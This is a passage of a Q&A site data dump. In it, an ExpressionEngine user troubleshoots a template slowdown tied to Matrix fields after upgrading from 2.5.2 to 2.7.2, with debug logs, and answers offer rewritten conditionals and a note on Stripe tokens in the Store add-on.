  <row Id="17267" PostTypeId="1" CreationDate="2013-11-29T21:48:41.803" Score="4" ViewCount="342" Body="&lt;p&gt;Newest Edit - 27 Feb 2014 - In case some poor soul with the same issue stumbles on this thread, I did not find a solution and ended up removing Matrix and replacing it with Grid.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My company would like to upgrade EE from 2.5.2 to the latest 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a sandboxed copy of our website, and executed the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, our template for our products page went from an execution time of approximately two seconds to an execution time of over sixty seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a lot of trial and error, I have broken it down to one particular chunk of code.  The code works just fine in the old version of EE, but not in the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the following code (edited to correct conditionals as per commenters statements):&#xA;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                  {if cf_product_options}          &#xA;&#xA;                 {if entry_id==20}&#xA;                                              &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;                                              &amp;lt;h2&amp;gt;Configuration Options&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;                      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                        &amp;lt;/table&amp;gt;&#xA;                                          {/if}&#xA;                                    {if entry_id==22}&#xA;                    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;Configuration Options&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;                      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                                            {/if}&#xA;                                    {if entry_id==76}&#xA;                    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;Typical Options &amp;lt;small&amp;gt;( &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;*&amp;lt;/span&amp;gt; ) represents standards features&amp;lt;/small&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;                      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_3}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_4}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_5}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_6}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_4}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_5}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_6}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                                            {/if}&#xA;                                    {if entry_id==77}&#xA;                    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;Compatible Options&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                  {/if}&#xA;                                    {if entry_id==79}&#xA;                    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;Typical Options &amp;lt;small&amp;gt;( &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;*&amp;lt;/span&amp;gt; ) represents standards features&amp;lt;/small&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;                      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_3}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_4}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_5}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_4}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_5}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                                            {/if}&#xA;                                    {if entry_id==89}&#xA;                    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;Typical Options&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                  {/if}&#xA;                                    {if entry_id==101}&#xA;                    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;Typical Options &amp;lt;small&amp;gt;( &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;*&amp;lt;/span&amp;gt; ) represents standards features&amp;lt;/small&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;                      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_3}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_4}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_5}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_6}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;                      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_4}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_5}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_6}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                                            {/if}&#xA;&#xA;                  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above, in the code, &quot;cf_product_options&quot; is a matrix field.  The code checks with the first conditional to see that data exists, and if so, it checks the entry_id and serves up the appropriate code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing this chunk of code entirely returns the execution time to normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I was originally using a switchee statement here, and while that works in our old version of EE, it is JUST as slow here in the updated version... so I have removed switchee code for the time being to simplify and make it easier to see what is going on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* DEBUGGING *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the output from the debugging in EE (when I use switchee in addition to the code above):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;(0.375135 / 19.24MB) Calling Class/Method: Channel/entries&#xA;(0.383207 / 19.28MB) -&gt; Class Called: Channel&#xA;(0.385074 / 19.29MB) -&gt; Method Called: entries&#xA;(0.393458 / 19.40MB) Calling Extension Class/Method: Assets_ext/channel_entries_query_result&#xA;(0.411238 / 19.58MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(0.413006 / 19.61MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(36.993778 / 21.28MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;(37.032971 / 21.14MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(37.034998 / 21.17MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(69.008183 / 21.34MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;(69.041813 / 20.97MB) -&gt; Data Returned&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the debugging, after removing switchee and using a fix as suggested below:&#xA;&lt;code&gt;&#xA;(0.886224 / 19.24MB) Calling Class/Method: Channel/entries&#xA;(0.892344 / 19.27MB) -&gt; Class Called: Channel&#xA;(0.896914 / 19.29MB) -&gt; Method Called: entries&#xA;(0.954155 / 19.39MB) Calling Extension Class/Method: Assets_ext/channel_entries_query_result&#xA;(1.011197 / 19.57MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(1.017665 / 19.59MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(19.454163 / 21.26MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;(19.519405 / 21.13MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(19.521837 / 21.16MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(33.768249 / 21.32MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;(33.818316 / 20.96MB) -&gt; Data Returned&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With suggested UPDATE2 the debug output:&#xA;&lt;code&gt;&#xA;(0.826544 / 19.24MB) Calling Class/Method: Channel/entries&#xA;(0.832316 / 19.28MB) -&gt; Class Called: Channel&#xA;(0.835756 / 19.29MB) -&gt; Method Called: entries&#xA;(0.853860 / 19.40MB) Calling Extension Class/Method: Assets_ext/channel_entries_query_result&#xA;(0.878189 / 19.57MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(0.880296 / 19.60MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(18.803853 / 21.26MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;(18.863077 / 21.13MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(18.865144 / 21.16MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(35.012716 / 21.32MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;(35.067242 / 20.96MB) -&gt; Data Returned&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total Execution time: 37.3617&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is related to the matrix field in particular.  If I remove the matrix field and simply use the if/else conditionals to display regular html code, the load time drops to just 3 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a matrix field and try to display it's contents, and suddenly the execution seems to multiply exponentially for each if/else that exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simplify debugging, I have stripped the problem area of my template to contain the following plain html code: (note that there is plenty more to the template, just not shown here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I can't seem to force my post to remove html code between my code tags, so I have substituted regular brackets for now&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(hr class=&quot;soften&quot;)&#xA;(h2)Configuration Options(/h2)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which has a total execution time of: 2.5+ seconds &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add my matrix field to that simple code like so:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(hr class=&quot;soften&quot;)&#xA;(h2)Configuration Options(/h2)&#xA;{cf_product_options_labels limit=&quot;1&quot;}{col_1}{col_2}{/cf_product_options_labels}&#xA;{cf_product_options limit=&quot;1&quot;}{col_1}{col_2}{/cf_product_options}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total Execution time jumps to: 4.6+ seconds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debug looks the same as all the other problem debugs with the execution time jumping drastically when calling &quot; Matrix_ext/channel_entries_tagdata &quot; and &quot; Pt_field_pack_ext/channel_entries_tagdata &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I have contacted P&amp;amp;T and they responded that there would be a fee to help as debugging a template falls outside the normal scope of their support.  Fair enough.  I believe I have narrowed it enough right now and have sent them another email, so hopefully they will have ideas on where to go next.  I'm at a complete loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NEW EDIT: I thought I had this issue licked, but it turns out I didn't.  In my excitement over an improved load time, I didn't notice that by embedding my template, I of course was not actually rendering the matrix data, and instead was just displaying variable names.  I hadn't edited the template to take into account that I would have to pass the entry_id to the embedded template in order for it to show relevant data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is still unsolved, and I believe I'm going to have to do a MASSIVE amount of work to use an alternate solution.&lt;/p&gt;&#xA;" OwnerUserId="2422" LastEditorUserId="2422" LastEditDate="2014-02-27T16:07:39.077" LastActivityDate="2014-02-27T16:07:39.077" Title="Cause of Massive Performance Issues after EE Upgrade 2.5.2 to 2.7.2?" Tags="|ee2|matrix|pixelandtonic|upgrade|performance|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17268" PostTypeId="2" ParentId="17246" CreationDate="2013-11-29T22:48:10.757" Score="3" Body="&lt;p&gt;Two things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, check you are running the latest version of Store. There was a bug related to Stripe card tokens fixed in &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_204&quot; rel=&quot;nofollow&quot;&gt;v2.0.4&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, check which fields are actually being submitted to Store (in your browser's network tab), after the Stripe response comes back. Make sure &lt;code&gt;payment[token]&lt;/code&gt; is actually submitted, and that it contains something which at least looks like a valid token (should be a random string). If Store can't find a card token, it will look for a card number instead, which is why you see the error &quot;The number parameter is required&quot;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-29T22:48:10.757" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="17269" PostTypeId="2" ParentId="17267" CreationDate="2013-11-29T23:00:16.893" Score="2" Body="&lt;p&gt;Yeah, you've got a mess on your hands. Try this no add-on method. If it doesn't help you out, notacouch's suggestion to use IfElse should be helpful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if entry_id == &quot;20&quot; &amp;amp;&amp;amp; cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Configuration Options&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&#xA;{if entry_id == &quot;22&quot; &amp;amp;&amp;amp; cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Configuration Options&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&#xA;{if entry_id == &quot;76&quot; &amp;amp;&amp;amp; cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;  &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Typical Options &amp;lt;small&amp;gt;( &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;*&amp;lt;/span&amp;gt; ) represents standards features&amp;lt;/small&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_3}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_4}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_5}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;33%&quot;&amp;gt;{col_6}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;  &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_4}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_5}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_6}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&#xA;{if entry_id == &quot;77&quot; &amp;amp;&amp;amp; cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;  &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Compatible Options&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&#xA;{if entry_id == &quot;79&quot; &amp;amp;&amp;amp; cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;  &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Typical Options &amp;lt;small&amp;gt;( &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;*&amp;lt;/span&amp;gt; ) represents standards features&amp;lt;/small&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_3}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_4}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;20%&quot;&amp;gt;{col_5}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_4}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_5}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&#xA;{if entry_id == &quot;89&quot; &amp;amp;&amp;amp; cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;  &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Typical Options&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&#xA;{if entry_id == &quot;101&quot; &amp;amp;&amp;amp; cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;  &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Typical Options &amp;lt;small&amp;gt;( &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;*&amp;lt;/span&amp;gt; ) represents standards features&amp;lt;/small&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_3}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_4}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_5}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;16%&quot;&amp;gt;{col_6}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;{cf_product_options 